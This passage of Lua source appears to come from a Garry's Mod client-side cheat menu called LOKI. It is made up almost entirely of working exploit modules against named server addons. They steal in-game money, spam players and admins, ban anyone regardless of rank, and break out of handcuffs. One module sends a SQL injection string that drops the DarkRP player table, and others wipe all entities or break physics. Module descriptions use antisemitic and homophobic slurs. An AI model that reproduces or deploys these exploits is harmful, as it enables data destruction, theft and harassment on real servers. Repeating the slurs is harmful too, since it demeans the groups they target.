2620 { typ = "float", Name = "Rate", default = LOKI.RATE_LIMIT, addr = "tpsrate", min = 1, max = (LOKI.ARES && math.huge || 1536) },
2621 { typ = "float", Name = "Ticks", min = 1, max = LOKI.TICK_RATE, default = LOKI.TICK_RATE, addr = "tickdelay" },
2622 { typ = "float", Name = "FPS", min = 0, max = math.huge, default = 5, addr = "fpsthreshold" },
2623 { typ = "float", Name = "Bait", min = 0, max = math.huge, default = 5, addr = "baitthreshold" },
2624 { typ = "bool", ToggleText = {"Freecam"}, border = true, bool = "freecam", callback = LOKI.Freecam.Toggle },
2625 //{ typ = "bool", ToggleText = {"Secure"}, border = true, addr = "securerenderer", bool = "securerenderer" },
2626 //{ typ = "bool", ToggleText = {"Fix ESP"}, border = true, bool = "fixesp" },
2627 { typ = "player", addr = "spectate", Name = "Spectate", nostore = true },
2628 //{ typ = "bool", ToggleText = {"Fix Sprint"}, border = true, bool = "sprintfix" },
2629 },
2630} )
2631LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
2632//////////////////////////////////////////////- MONEY -////////////////////////////////////////////////
2633LOKI.AddExploit( "Printer Money Stealer", {
2634 desc = "Instantly jew all money from every printer on the server (500 for latest, -1 for infinite)",
2635 severity = 90,
2636 bools = {enabled = false},
2637 status = 1,
2638 times_per_tick = 1,
2639 vars = {},
2640 scan = function() return LOKI.DynamicNetString("SyncPrinterButtons") end,
2641 hooks = {
2642 Tick = function(tbl, sploit)
2643 local dist = LOKI.GetStored( "printers1", 500 )
2644 local ent_tbl = LOKI.ents.FindByGlobal("WithdrawText")
2645 for k, v in ipairs(ent_tbl) do
2646 if( dist == -1 || LOKI.GetLP():GetPos():Distance(v:GetPos()) < dist ) then
2647 LOKI.NetStart( sploit, sploit.channel )
2648 net.WriteEntity(v)
2649 net.WriteUInt(2, 4)
2650 net.SendToServer()
2651 end
2652 end
2653 end,
2654 },
2655 functions = {
2656 { typ = "bool", },
2657 { typ = "float", Name = "Distance", min = -1, max = math.huge, default = 500, addr = "printers1" },
2658 },
2659} )
2660LOKI.AddExploit( "Printer Money Stealer", {
2661 desc = "Instantly jew all money from every printer on the server",
2662 severity = 90,
2663 bools = {enabled = false},
2664 status = 1,
2665 times_per_tick = 1,
2666 vars = {},
2667 scan = function() return LOKI.ValidNetString( "DataSend" ) end,
2668 hooks = {
2669 Tick = function(tbl, sploit)
2670 for k, v in ipairs(LOKI.ents.FindByGlobal("GetPToggle")) do
2671 LOKI.NetStart( sploit, "DataSend")
2672 net.WriteFloat(2)
2673 net.WriteEntity(v)
2674 net.WriteEntity(LOKI.GetLP())
2675 net.SendToServer()
2676 end
2677 end,
2678 },
2679 functions = {
2680 { typ = "bool", },
2681 },
2682} )
2683LOKI.AddExploit( "Printer Money Stealer", {
2684 desc = "Instantly jew all money from every printer on the server",
2685 severity = 90,
2686 bools = {enabled = false},
2687 status = 1,
2688 times_per_tick = 1,
2689 vars = {},
2690 scan = function() return LOKI.ValidNetString( "withdrawop" ) end,
2691 hooks = {
2692 Tick = function(tbl, sploit)
2693 for k, v in ipairs(LOKI.ents.FindByGlobal("S_Model")) do
2694 LOKI.NetStart( sploit, "withdrawop")
2695 net.WriteEntity(v)
2696 net.SendToServer()
2697 end
2698 end,
2699 },
2700 functions = {
2701 { typ = "bool", },
2702 },
2703} )
2704LOKI.AddExploit( "Printer Money Stealer", {
2705 desc = "Instantly jew all money from every printer on the server",
2706 severity = 90,
2707 bools = {enabled = false},
2708 status = 1,
2709 times_per_tick = 1,
2710 vars = {},
2711 scan = function() return LOKI.ValidNetString( "NGII_TakeMoney" ) end,
2712 hooks = {
2713 Tick = function(tbl, sploit)
2714 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2715 LOKI.NetStart( sploit, "NGII_TakeMoney")
2716 net.WriteEntity(v)
2717 net.WriteEntity(LOKI.GetLP())
2718 net.SendToServer()
2719 end
2720 end,
2721 },
2722 functions = {
2723 { typ = "bool", },
2724 },
2725} )
2726LOKI.AddExploit( "Printer Money Stealer", {
2727 desc = "Instantly jew all money from every printer on the server",
2728 severity = 90,
2729 bools = {enabled = false},
2730 status = 1,
2731 times_per_tick = 1,
2732 vars = {},
2733 scan = function() return LOKI.ValidNetString( "NET_DoPrinterAction" ) end,
2734 hooks = {
2735 Tick = function(tbl, sploit)
2736 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2737 LOKI.NetStart( sploit, "NET_DoPrinterAction")
2738 net.WriteEntity(LOKI.GetLP())
2739 net.WriteEntity(v)
2740 net.WriteInt(2, 16)
2741 net.SendToServer()
2742 end
2743 end,
2744 },
2745 functions = {
2746 { typ = "bool", },
2747 },
2748} )
2749LOKI.AddExploit( "Printer Money Stealer", {
2750 desc = "Instantly jew all money from every bitminer on the server",
2751 severity = 90,
2752 bools = {enabled = false},
2753 status = 1,
2754 times_per_tick = 1,
2755 vars = {},
2756 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
2757 hooks = {
2758 Tick = function(tbl, sploit)
2759 if(LOKI.TIME_TO_TICKS(LOKI.REAL_CURTIME) % (LOKI.SafeToNumber(LOKI.GetStored("stealer1cooldown", 1)) + 1) == 0) then
2760 for k, v in ipairs(LOKI.ents.FindByGlobal("GetIsMining")) do
2761 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
2762 net.WriteEntity(v)
2763 net.SendToServer()
2764 end
2765 end
2766 end,
2767 },
2768 functions = {
2769 { typ = "float", Name = "Cooldown", min = 0, max = LOKI.TICK_RATE, default = 1, addr = "stealer1cooldown" },
2770 { typ = "bool", },
2771 },
2772} )
2773LOKI.AddExploit( "Printer Money Stealer", {
2774 desc = "Instantly jew all money from every printer on the server",
2775 severity = 90,
2776 bools = {enabled = false},
2777 status = 1,
2778 times_per_tick = 1,
2779 vars = {},
2780 scan = function() return LOKI.ValidNetString( "fg_printer_money" ) end,
2781 hooks = {
2782 Tick = function(tbl, sploit)
2783 for k, v in ipairs(LOKI.ents.FindByGlobal("Getdata_money")) do
2784 LOKI.NetStart( sploit, "fg_printer_money")
2785 net.WriteEntity(v)
2786 net.SendToServer()
2787 end
2788 end,
2789 },
2790 functions = {
2791 { typ = "bool", },
2792 },
2793} )
2794LOKI.AddExploit( "Printer Money Stealer", {
2795 desc = "Instantly jew all money from every printer on the server",
2796 severity = 90,
2797 bools = {enabled = false},
2798 status = 1,
2799 times_per_tick = 1,
2800 vars = {},
2801 scan = function() return LOKI.ValidNetString( "icemod_printer_withdraw" ) end,
2802 hooks = {
2803 Tick = function(tbl, sploit)
2804 for k, v in ipairs(LOKI.ents.FindByGlobal("PrinterMenu")) do
2805 LOKI.NetStart( sploit, "icemod_printer_withdraw")
2806 net.WriteEntity(v)
2807 net.SendToServer()
2808 end
2809 end,
2810 },
2811 functions = {
2812 { typ = "bool", },
2813 },
2814} )
2815LOKI.AddExploit( "Printer Exploit", {
2816 desc = "Edit the stats of any printer in the server",
2817 severity = 65,
2818 bools = {enabled = false},
2819 status = 1,
2820 times_per_tick = math.huge,
2821 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2822 count = {
2823 ["Active"] = 3,
2824 ["Total"] = 3,
2825 },
2826 hooks = {
2827 Think = function(tbl, sploit)
2828 local ent = LOKI.GetStored("px_ply", {})[1]
2829 if(IsValid(ent) && istable(ent.data)) then
2830 LOKI.OpenTableEditor(LOKI.Menu, ent.data, "Printer Stats", function(tbl)
2831 LOKI.NetStart(sploit, {"lithiumPrinter2Bronze", "lithiumPrinter2Economic", "lithiumPrinter2Iron", "lithiumPrinter2Silver", "lithiumPrinter2Obsidian", "lithiumPrinter2Donator"}, true)
2832 net.WriteEntity(ent)
2833 net.WriteTable(tbl)
2834 net.SendToServer()
2835 end)
2836 end
2837
2838 end,
2839 },
2840 functions = {
2841 { typ = "entity", addr = "px_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("data") end },
2842 { typ = "func", Name = "Edit", },
2843 },
2844} )
2845LOKI.AddExploit( "Printer Exploit", {
2846 desc = "Edit the shelves of any printer in the server",
2847 severity = 65,
2848 bools = {enabled = false},
2849 status = 1,
2850 times_per_tick = math.huge,
2851 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2852 count = {
2853 ["Active"] = 2,
2854 ["Total"] = 2,
2855 },
2856 hooks = {
2857 Think = function(tbl, sploit)
2858 local ent = LOKI.GetStored("px2_ply", {})[1]
2859 if(IsValid(ent) && istable(ent.shelves)) then
2860 LOKI.OpenTableEditor(LOKI.Menu, ent.shelves, "Printer Shelves", function(tbl)
2861 LOKI.NetStart(sploit, {"lithium_printers_connected", "lithiumPrinters2RackLarge"}, true)
2862 net.WriteEntity(ent)
2863 net.WriteTable(tbl)
2864 net.SendToServer()
2865 end)
2866 end
2867
2868 end,
2869 },
2870 functions = {
2871 { typ = "entity", addr = "px2_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("shelves") end },
2872 { typ = "func", Name = "Edit", },
2873 },
2874} )
2875//////////////////////////////////////////////- SPAM -////////////////////////////////////////////////
2876LOKI.AddExploit( "Chat Spam", {
2877 desc = "Spams specific players on the server with a message",
2878 severity = 1,
2879 bools = {enabled = false},
2880 status = 1,
2881 times_per_tick = 10,
2882 scan = function() return (LOKI.ValidNetString( "sendtable" ) ) end,
2883 hooks = {
2884 Think = function(tbl, sploit)
2885 for k, v in ipairs( LOKI.GetStored( "fr_players", {} ) ) do
2886 if !IsValid(v) then continue end
2887 local buyit = {}
2888 for i = 1, 15 do
2889 buyit[#buyit + 1] = LOKI.GetStored( "fr_spamstring", "GET ODIUM.PRO" )
2890 end
2891 LOKI.NetStart( sploit, "sendtable" )
2892 net.WriteEntity( v )
2893 net.WriteTable( buyit )
2894 net.SendToServer()
2895 end
2896 end,
2897 },
2898 functions = {
2899 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "fr_spamstring" },
2900 { typ = "players", addr = "fr_players" },
2901 { typ = "bool", },
2902 },
2903} )
2904LOKI.AddExploit( "Chat Spam", {
2905 desc = "Spam private messages to anyone",
2906 severity = 50,
2907 bools = {enabled = false},
2908 status = 1,
2909 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spammer_plyz", {} ) end,
2910 times_per_tick = math.huge,
2911 vars = {},
2912 scan = function()
2913 local psay, query = LOKI.RecursiveGetVar(ulx, {"psay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
2914 return (psay && query && query( LOKI.GetLP(), "ulx psay" )) end,
2915 hooks = {
2916 Think = function(tbl, sploit)
2917 if(LOKI.GetLP().ulib_threat_level) then
2918 LOKI.GetLP().ulib_threat_level = 0
2919 end
2920 for k, v in ipairs( LOKI.GetStored( "spammer_plyz", {} ) ) do
2921 if !IsValid(v) then continue end
2922 local spamstr = LOKI.GetStored( "spam_message", "GET ODIUM.PRO" )
2923 LOKI.RCC(sploit, "ulx", "psay", v:Nick(), spamstr)
2924 end
2925 end,
2926 },
2927 functions = {
2928 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam_message" },
2929 { typ = "players", addr = "spammer_plyz" },
2930 { typ = "bool", },
2931 },
2932} )
2933LOKI.AddExploit( "Chat Spam", {
2934 desc = "Spam admin messages",
2935 severity = 50,
2936 bools = {enabled = false},
2937 status = 1,
2938 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spamasay_plyz", {} ) end,
2939 times_per_tick = math.huge,
2940 vars = {},
2941 scan = function()
2942 local asay, query = LOKI.RecursiveGetVar(ulx, {"asay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
2943 return (asay && query && query( LOKI.GetLP(), "ulx asay" )) end,
2944 hooks = {
2945 Think = function(tbl, sploit)
2946 if(LOKI.GetLP().ulib_threat_level) then
2947 LOKI.GetLP().ulib_threat_level = 0
2948 end
2949 local spamstr = LOKI.GetStored( "spam2_message", "GET ODIUM.PRO" )
2950 LOKI.RCC(sploit, "ulx", "asay", spamstr)
2951 end,
2952 },
2953 functions = {
2954 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam2_message" },
2955 { typ = "bool", },
2956 },
2957} )
2958LOKI.AddExploit( "Chat Spam", {
2959 desc = "Set ALL taxes to 0 and spam notifies",
2960 severity = 50,
2961 bools = {enabled = false},
2962 status = 2,
2963 times_per_tick = 1,
2964 vars = {},
2965 prevalidated = true,
2966 scan = function() return LOKI.ValidNetString("BEModule_SetTaxes") && BEModuleConfig && BEModuleConfig.EnableTaxes end,
2967 hooks = {
2968 Think = function(tbl, sploit)
2969 LOKI.NetStart( sploit, "BEModule_SetTaxes")
2970 net.SendToServer()
2971 end,
2972 },
2973 functions = {
2974 { typ = "bool", },
2975 },
2976} )
2977LOKI.AddExploit( "Chat Spam", {
2978 desc = "Spam chat messages for everyone (except loki users)",
2979 severity = 50,
2980 bools = {enabled = false},
2981 status = 1,
2982 times_per_tick = math.huge,
2983 vars = {},
2984 scan = function() return LOKI.ValidNetString("DrGBaseChatPrint") end,
2985 hooks = {
2986 Think = function(tbl, sploit)
2987 LOKI.NetStart( sploit, "DrGBaseChatPrint")
2988 net.WriteString(LOKI.GetStored("chatspam4", "GET ODIUM.PRO"))
2989 net.WriteBool(sploit.bools.error || false)
2990 net.SendToServer()
2991 end,
2992 net = {
2993 Receive = function(sploit, strName)
2994 if(strName == "DrGBaseChatPrint") then
2995 return false
2996 end
2997 end,
2998 },
2999 },
3000 functions = {
3001 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "chatspam4" },
3002 { typ = "bool", ToggleText = {"Error"}, border = true, bool = "error" },
3003 { typ = "bool", },
3004 },
3005} )
3006LOKI.AddExploit( "Report Exploit", {
3007 desc = "Spam reports on everybody on the server",
3008 severity = 1,
3009 bools = {enabled = false},
3010 status = 2,
3011 times_per_tick = 1,
3012 vars = {},
3013 scan = function() return LOKI.ValidNetString( "TransferReport" ) end,
3014 hooks = {
3015 Think = function(tbl, sploit)
3016 for k, v in ipairs( player.GetAll() ) do
3017 LOKI.NetStart( sploit, "TransferReport" )
3018 net.WriteString( v:SteamID() )
3019 net.WriteString( "INFERNUS AND BAT ARE FAGGOTS FOR EACH OTHER" )
3020 net.WriteString( "DITCH THIS SHITTY SERVER AND BUY ODIUM.PRO TODAY" )
3021 net.SendToServer()
3022 end
3023 end,
3024 },
3025 functions = {
3026 { typ = "func", Name = "Report Everybody", },
3027 },
3028} )
3029/*LOKI.ChatClear = LOKI.LAST.ChatClear || _G.ChatClear
3030LOKI.AddExploit( "Chat Spam", {
3031 desc = "Chat will clear and become unusable. (patched on some custom chatboxes)",
3032 severity = 50,
3033 bools = {enabled = false},
3034 status = 1,
3035 times_per_tick = 1,
3036 vars = {},
3037 scan = function() return pcall(function() require("cc") end) && istable(LOKI.ChatClear || _G.ChatClear) end,
3038 initial = function()
3039 if(!LOKI.ChatClear) then
3040 LOKI.ChatClear = _G.ChatClear
3041 end
3042 if(_G.ChatClear) then
3043 _G.ChatClear = nil
3044 end
3045 end,
3046 hooks = {
3047 Think = function(tbl, sploit)
3048 if(LOKI.ChatClear) then if(DarkRP) then LOKI.ChatClear.OOC() else LOKI.ChatClear.Run() end end
3049 end,
3050 },
3051 functions = {
3052 { typ = "bool", },
3053 },
3054} )*/
3055LOKI.AddExploit( "Team Change Spammer", {
3056 desc = "Chat will spam with team changes",
3057 severity = 50,
3058 bools = {enabled = false},
3059 status = 1,
3060 msgs_per_tick = function(sploit)
3061 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true)
3062 LOKI.SetTableContents(tbl, LOKI.GetVarTable(team.GetAllTeams(), "Joinable", LOKI.TYPEVARS.EQUALTO, true))
3063 return #tbl
3064 end,
3065 times_per_tick = math.huge,
3066 vars = {},
3067 scan = function() return LOKI.GetLP().pkdata != nil end,
3068 hooks = {
3069 Think = function(tbl, sploit)
3070 for k, v in ipairs( LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true) ) do
3071 if(v.Joinable == true) then
3072 LOKI.RCC(sploit, "_team", tostring(k))
3073 end
3074 end
3075 end,
3076 },
3077 functions = {
3078 { typ = "bool", },
3079 },
3080} )
3081LOKI.AddExploit( "Respawn Exploit", {
3082 desc = "Instantly respawn on death, skip respawn timer",
3083 severity = 50,
3084 bools = {enabled = false},
3085 status = 1,
3086 times_per_tick = 1,
3087 vars = {},
3088 scan = function() return LOKI.GetLP().pkdata != nil end,
3089 hooks = {
3090 entity_killed = function(tbl, sploit, varargs)
3091 local data = varargs[1]
3092 local ent = Entity(data.entindex_killed)
3093 if ( ent == LOKI.GetLP() ) then
3094 for k, v in ipairs( team.GetAllTeams() ) do
3095 if(v.Joinable == true && k != LOKI.GetLP():Team()) then
3096 LOKI.RCC(sploit, "_team", tostring(k))
3097 break
3098 end
3099 end
3100 end
3101 end,
3102 },
3103 functions = {
3104 { typ = "bool", },
3105 },
3106} )
3107/*LOKI.AddExploit( "Respawn Exploit", {
3108 desc = "Instantly respawn on death",
3109 severity = 90,
3110 bools = {enabled = false},
3111 status = 1,
3112 times_per_tick = 1,
3113 vars = {},
3114 scan = function() return LOKI.ValidNetString("recreate_move") end,
3115 hooks = {
3116 entity_killed = function(tbl, sploit, varargs)
3117 local data = varargs[1]
3118 local ent = Entity(data.entindex_killed)
3119 if ( ent == LOKI.GetLP() ) then
3120 LOKI.NetStart(sploit, "recreate_move")
3121 net.WriteVector(LOKI.GetLP():GetPos())
3122 net.WriteAngle(LOKI.GetLP():GetAngles())
3123 net.SendToServer()
3124 end
3125 end,
3126 },
3127 functions = {
3128 { typ = "bool", },
3129 },
3130} )*/ --TRASH
3131LOKI.AddExploit( "Console Spam", {
3132 desc = "Supposed to be a lagsploit but doesn't actually cause lag, just spams console",
3133 severity = 90,
3134 bools = {enabled = false},
3135 status = 1,
3136 times_per_tick = 20,
3137 scan = function() return ULib != nil end,
3138 hooks = {
3139 Think = function(tbl, sploit)
3140 LOKI.RCC(sploit, "_u", LOKI.GetStored("consolespam1", "GET ODIUM.PRO") )
3141 end,
3142 },
3143 functions = {
3144 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "consolespam1" },
3145 { typ = "bool", },
3146 },
3147} )
3148LOKI.AddExploit( "Chat Spam", {
3149 desc = "Big chat spams, extremely annoying",
3150 severity = 1,
3151 bools = {enabled = false},
3152 status = 2,
3153 times_per_tick = 1,
3154 vars = {},
3155 scan = function() return LOKI.ValidNetString( "VJSay" ) end,
3156 hooks = {
3157 Think = function(tbl, sploit)
3158 for k, v in ipairs( player.GetAll() ) do
3159 LOKI.NetStart( sploit, "VJSay" )
3160 net.WriteEntity( v )
3161 net.WriteString( LOKI.GetStored( "vj_spamstring", "GET ODIUM.PRO" ) )
3162 if LOKI.GetStored( "vj_spamsound", "" ) != "" then
3163 net.WriteString( LOKI.GetStored( "vj_spamsound", "" ) )
3164 end
3165 net.SendToServer()
3166 end
3167 end,
3168 },
3169 functions = {
3170 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "vj_spamstring" },
3171 { typ = "string", Name = "Enter a sound path", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
3172 { typ = "bool", },
3173 },
3174} )
3175//////////////////////////////////////////////- HARM -////////////////////////////////////////////////
3176LOKI.AddExploit( "Ban Exploit", {
3177 desc = "Allows you to ban anyone regardless of rank",
3178 severity = 100,
3179 bools = {enabled = false},
3180 status = 3,
3181 times_per_tick = 1,
3182 vars = {},
3183 scan = function() return LOKI.ValidNetString( "banleaver" ) end,
3184 hooks = {
3185 Think = function(tbl, sploit)
3186 for k,v in ipairs(LOKI.GetStored( "banleaver_ply", {} )) do
3187 if IsValid(v) then
3188 if(v:IsPlayer()) then
3189 LOKI.NetStart( sploit, "banleaver")
3190 net.WriteString(tostring(v:SteamID().."{sep}"..tostring(v:Name())))
3191 net.SendToServer()
3192 end
3193 end
3194 end
3195 end,
3196 },
3197 functions = {
3198 { typ = "players", addr = "banleaver_ply" },
3199 { typ = "bool", Name = "Ban", args = {}, },
3200 },
3201} )
3202LOKI.AddExploit( "Ban Exploit", {
3203 desc = "Allows you to ban anyone regardless of rank",
3204 severity = 100,
3205 bools = {enabled = false},
3206 status = 2,
3207 times_per_tick = 1,
3208 vars = {},
3209 scan = function() return LOKI.ValidNetString( "gBan.BanBuffer" ) end,
3210 hooks = {
3211 Think = function(tbl, sploit)
3212 for k,v in ipairs(LOKI.GetStored( "ban2_ply", {} )) do
3213 if IsValid(v) then
3214 if(v:IsPlayer()) then
3215 LOKI.NetStart( sploit, "gBan.BanBuffer" )
3216 net.WriteBool( true )
3217 net.WriteInt( LOKI.SafeToNumber(LOKI.GetStored("ban2time", 0)), 32 )
3218 net.WriteString( LOKI.GetStored("ban2", "GET ODIUM.PRO") )
3219 net.WriteString( v:SteamID() )
3220 net.SendToServer()
3221 end
3222 end
3223 end
3224 end,
3225 },
3226 functions = {
3227 { typ = "players", addr = "ban2_ply" },
3228 { typ = "string", Name = "Ban Reason", default = "GET ODIUM.PRO", addr = "ban2" },
3229 { typ = "float", Name = "Ban Time", min = 0, max = (math.pow(2, 32)-1)/2, default = 0, addr = "ban2time" },
3230 { typ = "bool", Name = "Ban", args = {}, },
3231 },
3232} )
3233LOKI.AddExploit( "Ban Exploit", {
3234 desc = "Allows you to ban anyone regardless of rank",
3235 severity = 100,
3236 bools = {enabled = false},
3237 status = 1,
3238 times_per_tick = 1,
3239 vars = {},
3240 scan = function() return LOKI.ValidNetString( "RDMAssign" ) end,
3241 hooks = {
3242 Think = function(tbl, sploit)
3243 for k,v in ipairs(LOKI.GetStored( "ban3_ply", {} )) do
3244 if IsValid(v) then
3245 if(v:IsPlayer()) then
3246 for i=1, 10 do
3247 LOKI.NetStart( sploit, "RDMAssign" )
3248 net.WriteEntity( v )
3249 net.SendToServer()
3250 end
3251 end
3252 end
3253 end
3254 end,
3255 },
3256 functions = {
3257 { typ = "players", addr = "ban3_ply" },
3258 { typ = "func", Name = "Do it" },
3259 },
3260} )
3261LOKI.AddExploit( "Break The Server", {
3262 desc = "Vandalize the DarkRP master SQL database, permanently erasing all DarkRP player data",
3263 severity = 100,
3264 bools = {enabled = false},
3265 status = 1,
3266 times_per_tick = 1,
3267 vars = {},
3268 prevalidated = true,
3269 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
3270 hooks = {
3271 Think = function(tbl, sploit)
3272 local ass = {}
3273 ass.tblname = "darkrp_player; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3274 ass.ply = LOKI.GetLP()
3275 LOKI.NetStart(sploit, "pplay_sendtable")
3276 net.WriteTable(ass)
3277 net.SendToServer()
3278 end,
3279 },
3280 functions = {
3281 { typ = "func", Name = "Burn it down", },
3282 },
3283} )
3284LOKI.AddExploit( "Break The Server", {
3285 desc = "Will cause a nuclear implosion",
3286 severity = 100,
3287 bools = {enabled = false},
3288 status = 2,
3289 times_per_tick = 1,
3290 vars = {},
3291 scan = function() return LOKI.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
3292 hooks = {
3293 Think = function(tbl, sploit)
3294 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3295 LOKI.NetStart( sploit, "MDE_RemoveStuff_C2S")
3296 net.WriteTable( {DATA="",TARGET=v} )
3297 net.SendToServer()
3298 end
3299 end,
3300 },
3301 functions = {
3302 { typ = "func", Name = "Burn it down", },
3303 },
3304} )
3305LOKI.AddExploit( "Break The Server", {
3306 desc = "Will cause a nuclear implosion",
3307 severity = 100,
3308 bools = {enabled = false},
3309 status = -1,
3310 times_per_tick = 1,
3311 vars = {},
3312 scan = function() return LOKI.ValidNetString( "timebombDefuse" ) end,
3313 hooks = {
3314 Think = function(tbl, sploit)
3315 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3316 LOKI.NetStart( sploit, "timebombDefuse")
3317 net.WriteEntity(v)
3318 net.WriteBool(true)
3319 net.SendToServer()
3320 end
3321 end,
3322 },
3323 functions = {
3324 { typ = "func", Name = "Burn it down", },
3325 },
3326} )
3327LOKI.AddExploit( "Break The Server", {
3328 desc = "Irreversibly break the physics engine",
3329 severity = 100,
3330 bools = {enabled = false},
3331 status = 1,
3332 times_per_tick = 1,
3333 vars = {},
3334 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3335 hooks = {
3336 Think = function(tbl, sploit)
3337 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
3338 net.WriteString("Add")
3339 net.WriteTable({[1] = "worldspawn"})
3340 net.SendToServer()
3341 end,
3342 },
3343 functions = {
3344 { typ = "func", Name = "Burn it down", },
3345 },
3346} )
3347LOKI.AddExploit( "Cuff Breaker", {
3348 desc = "Instantly break out of handcuffs",
3349 severity = 1,
3350 bools = {enabled = false},
3351 status = 1,
3352 times_per_tick = 1,
3353 vars = {},
3354 scan = function() return LOKI.ValidNetString( "Kun_ZiptieStruggle" ) end,
3355 hooks = {
3356 Think = function(tbl, sploit)
3357 LOKI.NetStart( sploit, "Kun_ZiptieStruggle")
3358 net.SendToServer()
3359 end,
3360 },
3361 functions = {
3362 { typ = "bool", },
3363 },
3364} )
3365LOKI.AddExploit( "Cuff Breaker", {
3366 desc = "Automatically break out of handcuffs",
3367 severity = 1,
3368 bools = {enabled = false},
3369 status = 1,
3370 times_per_tick = 1,
3371 vars = {},
3372 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) end,
3373 hooks = {
3374 CreateMove = function(tbl, sploit, varargs)
3375 local cmd = varargs[1]
3376 if(LOKI.GetLP().IsHandcuffed(LOKI.GetLP())) then
3377 if(cmd:TickCount() % 2 == 0) then
3378 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK));
3379 end
3380 end
3381 end,
3382 },
3383 functions = {
3384 { typ = "bool", },
3385 },
3386} )
3387LOKI.AddExploit( "Cuff Breaker", {
3388 desc = "Instantly break out of handcuffs",
3389 severity = 1,
3390 bools = {enabled = false},
3391 status = 1,
3392 times_per_tick = 1,
3393 vars = {},
3394 scan = function() return LOKI.ValidNetString("realistic_hook BreakFree") end,
3395 hooks = {
3396 CreateMove = function(tbl, sploit, varargs)
3397 local cmd = varargs[1]
3398 local target_ents = LOKI.GetVarTable(ents.GetAll(), "GetTargetEnt", LOKI.TYPEVARS.EQUALTO, LOKI.GetLP())
3399 if(target_ents[1]) then
3400 if(cmd:TickCount() % 2 == 0) then
3401 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE));
3402 end
3403 end
3404 end,
3405 },
3406 functions = {
3407 { typ = "bool", },
3408 },
3409} )
3410LOKI.AddExploit( "Cuff Breaker", {
3411 desc = "Instantly break out of handcuffs",
3412 severity = 1,
3413 bools = {enabled = false},
3414 status = 1,
3415 times_per_tick = 1,
3416 vars = {},
3417 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) && LOKI.ValidNetString("dialogAlterWeapons") end,
3418 hooks = {
3419 Think = function(tbl, sploit)
3420 if(LOKI.GetLP():IsHandcuffed()) then
3421 LOKI.NetStart( sploit, "dialogAlterWeapons", true)
3422 net.WriteString("Remove")
3423 net.WriteTable({[1] = "weapon_handcuffed"})
3424 net.SendToServer()
3425 end
3426 end,
3427 },
3428 functions = {
3429 { typ = "bool", },
3430 },
3431} )
3432LOKI.AddExploit( "Entity Exploit", {
3433 desc = "Unfreeze any entity",
3434 severity = 50,
3435 bools = {enabled = false},
3436 status = 2,
3437 times_per_tick = 1,
3438 vars = {},
3439 scan = function() return LOKI.ValidNetString("zrush_FuelSplitUIGotClosed_net") end,
3440 hooks = {
3441 CreateMove = function(tbl, sploit, varargs)
3442 local tbl = LOKI.RecursiveGetVar(sploit, {"bools"}, "table", true)
3443 if(tbl.enabled) then
3444 local ent = LOKI.GetLP():GetEyeTrace().Entity
3445 if(IsValid(ent) && varargs[1]:KeyDown(IN_ATTACK)) then
3446 LOKI.NetStart(sploit, "zrush_FuelSplitUIGotClosed_net")
3447 net.WriteFloat(ent:EntIndex())
3448 net.SendToServer()
3449 end
3450 end
3451 end,
3452 },
3453 functions = {
3454 { typ = "bool", },
3455 },
3456} )
3457LOKI.AddExploit( "Entity Exploit", {
3458 desc = "Give yourself any entity",
3459 severity = 50,
3460 bools = {enabled = false},
3461 status = 1,
3462 times_per_tick = 1,
3463 vars = {},
3464 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
3465 hooks = {
3466 Think = function(tbl, sploit)
3467 local vars = LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
3468 if(!vars.NAME) then
3469 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
3470 if(ItemsList) then
3471 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
3472 if(!v.LoadData) then
3473 vars.NAME = v.NAME
3474 break
3475 end
3476 end
3477 end
3478 end
3479 for i = 1, LOKI.GetStored("entity1_q") do
3480 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY", true)
3481 net.WriteTable({type = 6, ENTITY = LOKI.GetStored( "entity1" ), SKIN = 0, MODEL = LOKI.GetStored("entity1_m"), NAME = vars.NAME || "Beer"})
3482 net.WriteInt(0, 16)
3483 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
3484 net.SendToServer()
3485 end
3486 end,
3487 },
3488 functions = {
3489 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity1" },
3490 { typ = "string", Name = "Entity Model", default = "models/error.mdl", addr = "entity1_m" },
